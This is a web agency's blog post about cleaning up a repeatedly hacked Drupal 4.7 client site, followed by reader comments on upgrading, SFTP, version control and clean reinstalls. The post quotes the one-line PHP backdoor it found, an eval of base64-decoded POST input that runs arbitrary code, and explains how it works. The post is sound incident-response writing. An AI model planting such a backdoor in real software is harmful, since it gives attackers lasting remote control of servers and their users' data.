Lessons Learned from a Hacked Website
Within the last couple of months one of our client’s websites was hacked. This is a rarity, and we responded swiftly to restore a previous version of the site; however, we still needed to get rid of the actual problem. Through the experience there were a number of lessons learned that anyone, whether client or developer could benefit from.
Reason the site was hacked
The story starts with a website that was built by Digett over five years ago. When you consider that the first website ever was created on August 6, 1991, a five year-old website today is 25% as old as the entire World Wide Web — that’s a long time for a website to live.
The more substantial statistic is that in its five-year existence, this site had never been updated, and was still running version 4.7 of the Drupal content management system (the current stable version of Drupal is version 7). The site allows visitors to post pictures and text to the site without needing to login to the site, a kind of activity that is especially difficult to insulate against hacking attempts. These factors combined into the perfect storm, and the site was hacked.
Type of hack
Whenever a user typed the address to the site into their browser they made it to the site and could navigate as if there was no problem; but users who searched for the site on Google or any other search engine were redirected to the hacker’s website when they clicked on the search result.
The nature of this hack made it difficult to detect. Typically those most familiar with a site, such as the owner and the developer, will just enter the address directly and see nothing wrong with the site — only on the rare chance that someone close to the site searches for it will the hack be detected.
Resolution
After repeated attempts to clean the site just to see it re-hacked the next day, we were able to convince the client that the best course of action was to update the site. The site was upgraded to Drupal 7, which would take a few blog posts to describe, and we thought we were in the clear.
The site remained clean for a week or so, only to be hacked yet again. By this point we wanted to pull our hair out. We started from the beginning and began to systematically eliminate possibilities. We changed database passwords, FTP passwords, and Drupal login credentials. We cleaned the database of all ‘php’, ‘script’, and ‘perl’ strings. And each morning we arrived to a newly hacked site. This went on for two days.
On the third day, after half a dozen runs through the file system looking for malicious code, we finally tracked down the culprit — a single php file with one line of code:
eval(base64_decode($_POST["php"]))
Once removed the site has remained clean for a couple of weeks now.
(For those who are interested, this code allows someone who knows the location of the file to attach any php code they want as the value of the ‘php’ key in the attribute string of the url. In short they can run any php code they want. It’s bad stuff!)
A learning experience
In my opinion the age of the site code base was the underlying reason for the initial hack. Once that was updated the site vulnerabilities were eliminated. The only thing left was a sneaky and tenacious line of malicious code that had survived the upgrade process.
Anyone still running a site on Drupal 4.7 is playing with fire, but sometimes it’s hard to convince clients who have spent good money on a professional site that it’s time to do it again.
Lessons for clients
- Budget the money to keep your site code up to date with the latest security patches. Ask your developer how much is needed and how often it should be done. I touched on reasons to update your Drupal site earlier this year.
- Talk with your site developer about other possible security concerns that should be addressed. With this site we were dealing with I would prefer from a security standpoint that users be required to login to the site before posing images and text. If that isn’t possible, then work out the limitations to what anonymous users are allowed to post and clamp down on everything else.
Lessons for developers
- Prepare your clients during the initial sales process for the ongoing maintenance costs of your particular framework. Then you won’t find yourself in the position of trying to convince clients to upgrade five years later.
- Have a plan for the eventuality of a site getting hacked. Have backups and build a checklist of your procedure to make sure no malicious code sneaks past you.
This whole experience was rather painful for the client and us, but if we can learn these lessons and prevent other clients and developers from making these mistakes, then at least our experience was worth it.
If you are a client of Digett or any other web development company and you are not sure if your site is being kept up to date through a maintenance retainer, contact your developer now and ask how to get that issue resolved.
MONTHLY MARKETING INSIGHTS.
Get thought-provoking and actionable insights to improve how your firm makes a connection with your customers.
LEAVE A COMMENT
You didn't quite establish that the hack was executed through an older version of Drupal IMO.
I'm glad you finally got it figured out. I experienced something similar in a non drupal hacked form before.
Did you have any particular grep commands / regex you could share that helped you find the malicious code?
Yeah, I agree. Preventing this "hack" would have been as simple as validating your inputs.
Also, you shouldn't use eval(), especially on unsanitized inputs.
@Matthew Connerton
Something as simple as
grep -nRH --exclude=*.js 'eval(' *
would do well, with hindsight.
(to search for uses or mentions of the eval() function, in all files except JavaScript)
Good comments, all.
We never did isolate the exact original hack. We chose to put our time into upgrading Drupal instead.
@Matthew Connerton: The hacker was adding an eval(base64_decode()) command at the begining of every php file in the entire file system of the site. That's what was performing the redirect logic. Running a grep for the string "eval(base64_decode" was enough to track down all of the hacked files.
@Cameron Eagans: I agree that properly configuring input formats would likely have prevented the initial hack, but sadly they were not properly configured. To be clear it was the hacker who used eval() not anyone here. We know better. The code pasted in the blog post was inserted by the hacker as a backdoor to be able to execute any code desired in the future.
Sounds like it was probably a general PHP hack, and not anything Drupal specific. However, anyone still running 4.7 is asking for trouble.
This is a great example of why sites should be deployed with version control or rsync. Git especially is strong in this regard as even if the hacker changes the contents of your .git directory, the hashes will all be off. Usually in a case like this detecting changed files becomes as easy as "git status", and you can set up monitoring to alert you of any discrepancies.
Hopefully by "FTP" you mean "SFTP". There's no good reason to allow unencrypted access to your servers. All it takes is one person to connect on a public wifi network and your site can be pwned. If your server is defaulting to enabling FTP, the first thing you should do is disable it. These days client support is not even an issue, as virtually every GUI FTP client also supports SFTP.
@Andrew Berry: Exactly! Anyone still running 4.7 IS asking for trouble and is missing out on all the goodness of Drupal 7.
Also excellent advice regarding git and SFTP. That is the same way I like to setup our development servers. I generally go as far as uninstalling the FTP server software altogether since SFTP only requires an ssh server.
However our production sites run on Rackspace Cloud Sites, so we don't have to manage mission critical server deployments but can focus our energy on website design and development. I know not everyone will agree with this approach for financial and level of control reasons, but it has served us well.
The biggest problem here seems to be the "upgrade in place"...
I've experienced the exact same thing on a slightly outdated version of Drupal 6 (specifically 6.19).
Andrew Berry hits the nail on the head here. In my one catastrophic hacking incident, I found that ultimately the weak link was that my FTP passwords had been intercepted. SFTP FTW. A lesson I only had to learn once, and I do my best to steer everyone towards SFTP whenever I get the chance.
I've seen this before on a WordPress site, it was either the result of the owner using ftp on a windows PC that had been compromised or an ftp or ssh brute force attack.
The code is installed from a standard web server hack kit.
Annoying, lucky it was not a server I had set up..
Yes convincing people to pay to have the same thing again is a tricky one. A friend of mine says "you only change when the pain of staying exceeds the pain of change" - sounds likes a text book case!
Not sure I'd fully advocate D7 yet, some really useful modules are missing still but I'm sure it won't be long.
Chris
[...] jQuery("#errors*").hide(); window.location= data.themeInternalUrl; } }); } www.digett.com - Today, 8:11 [...]
So ... another lesson learnt should be how you recover from a hack.
Do not attempt to clean. Treat the WHOLE site as diseased and quarantine. Don't restore or attempt to rebuild from backups. It's much better to start from scratch with a good security design and new security controls than experience what you did with repeated hacks.
Was the upgrade performed in place? That is not a safe way to eliminate unknown issues. When a security issue is discovered you should always perform a clean install including all modules in a fresh location.
As many commenters have pointed out performing and "upgrade in place" has it's dangers. Malicious code can come along for the upgrade ride, but simply starting over with a fresh install is not enough. Malicious code could easily hitch a ride in the files folder or in the database and survive the upgrade process. PLUS this diagnosis of not upgrading in place doesn't address the initial hack at all.
The point of this article wasn't to discuss all of the technical methods of dealing with a hacked a site as much as it was to outline the human elements that lead to the initial vulnerability. If we as service providers can better educate our clients about ongoing maintenance costs and clients can insist that they have a maintenance agreement with their service provider then both parties interests are aligned with long term security in mind.
@Chris: I'm curious about your statement that "some really useful modules are missing" from D7. Could you elaborate?
Wow this is really cool ! Thanks
Plenty of elder sites on the web, and I do agree that this seems to be more of a PHP hack than a Drupal hack - but since Drupal inherits from PHP, it *is* a Drupal hack.
I'd be curious to know why they didn't upgrade to at least 5, much less 6, much less 7 (there are still reasons to not upgrade to Drupal 7 out there).
didn't you see this right near the top:
" this site had never been updated, and was still running version 4.7 of the Drupal content management system"
that seems pretty clear to me.